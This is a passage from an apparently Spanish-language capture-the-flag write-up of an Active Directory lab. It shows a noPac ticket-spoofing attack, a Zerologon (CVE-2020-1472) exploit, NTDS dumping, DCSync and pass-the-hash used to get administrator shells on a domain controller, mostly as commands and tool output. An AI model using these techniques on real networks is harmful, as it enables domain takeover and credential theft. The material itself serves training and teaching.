[-] Resolved Failed: The DNS query name does not exist: Shinra.Roundsoft.local.
[*] Selected Target shinra.roundsoft.local
[*] Total Domain Admins 1
[*] will try to impersonate administrator
[*] Adding Computer Account "WIN-HUEVONYH9CU$"
[*] MachineAccount "WIN-HUEVONYH9CU$" password = 7BwjU$Doy$pd
[*] Successfully added machine account WIN-HUEVONYH9CU$ with password 7BwjU$Doy$pd.
[*] WIN-HUEVONYH9CU$ object = CN=WIN-HUEVONYH9CU,CN=Computers,DC=Roundsoft,DC=local
[*] WIN-HUEVONYH9CU$ sAMAccountName == shinra
[*] Saving a DC's ticket in shinra.ccache
[*] Reseting the machine account to WIN-HUEVONYH9CU$
[*] Restored WIN-HUEVONYH9CU$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating administrator
[*] 	Requesting S4U2self
[*] Saving a user's ticket in administrator.ccache
[*] Rename ccache to administrator_shinra.roundsoft.local.ccache
[*] Attempting to del a computer with the name: WIN-HUEVONYH9CU$
[-] Delete computer WIN-HUEVONYH9CU$ Failed! Maybe the current user does not have permission.  

❯ export KRB5CCNAME=administrator_shinra.roundsoft.local.ccache

En este punto podemos usar el ticket para autenticarnos contra la maquina y obtener una shell en SHINRA por lo que nos saltamos todas las demas maquinas

❯ impacket-wmiexec shinra.roundsoft.local -k -no-pass -shell-type powershell  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> whoami
roundsoft\administrator

PS C:\> hostname
Shinra

PS C:\> type C:\Users\Administrator\Desktop\flag.txt
RPG{WhY_w0rK_h@rD_Wh3N_U_c@N_d3l3g@7e?}

PS C:\>

O tambien podriamos dumpear el ntds para obtener el hash NT de Administrator y conectarnos al equipo aplicando un passthehash con cualquier otra herramienta

❯ crackmapexec smb shinra.roundsoft.local -k --use-kcache --ntds drsuapi --user Administrator
SMB         shinra.roundsoft.local 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)  
SMB         shinra.roundsoft.local 445    SHINRA           [+] Roundsoft.local\Administrator from ccache (Pwn3d!)
SMB         shinra.roundsoft.local 445    SHINRA           [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         shinra.roundsoft.local 445    SHINRA           administrator:500:aad3b435b51404eeaad3b435b51404ee:fe29edb1766170b8afe7a55cbf360885:::


Extra 4

CVE-2020-1472 - SHINRA Administrator


Como alternativa podemos ejecutar la vuln de zerologon hacia SHINRA, el servidor es vulnerable y logramos cambiar la contraseña del equipo por una cadena vacia

❯ python3 cve-2020-1472-exploit.py SHINRA 192.168.125.128
Performing authentication attempts...
==========================================================================  
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

Autenticandonos como el equipo SHINRA$ con una cadena vacia como contraseña podemos hacer un DCSync y ver el hash NT del usuario Administrator

❯ crackmapexec smb shinra.roundsoft.local -u SHINRA$ -p '' --ntds drsuapi --user Administrator
SMB         shinra.roundsoft.local 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)  
SMB         shinra.roundsoft.local 445    SHINRA           [+] Roundsoft.local\SHINRA$: 
SMB         shinra.roundsoft.local 445    SHINRA           [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         shinra.roundsoft.local 445    SHINRA           [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         shinra.roundsoft.local 445    SHINRA           administrator:500:aad3b435b51404eeaad3b435b51404ee:fe29edb1766170b8afe7a55cbf360885:::

Ya con el hash NT podemos conectarnos haciendo un passthehash con wmiexec y conseguir una shell como el usuario Administrator directamente en SHINRA

❯ impacket-wmiexec roundsoft.local/Administrator@shinra.roundsoft.local -hashes :fe29edb1766170b8afe7a55cbf360885 -k -shell-type powershell  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> whoami
roundsoft\administrator

PS C:\> hostname
Shinra

PS C:\> type C:\Users\Administrator\Desktop\flag.txt
RPG{WhY_w0rK_h@rD_Wh3N_U_c@N_d3l3g@7e?}

PS C:\>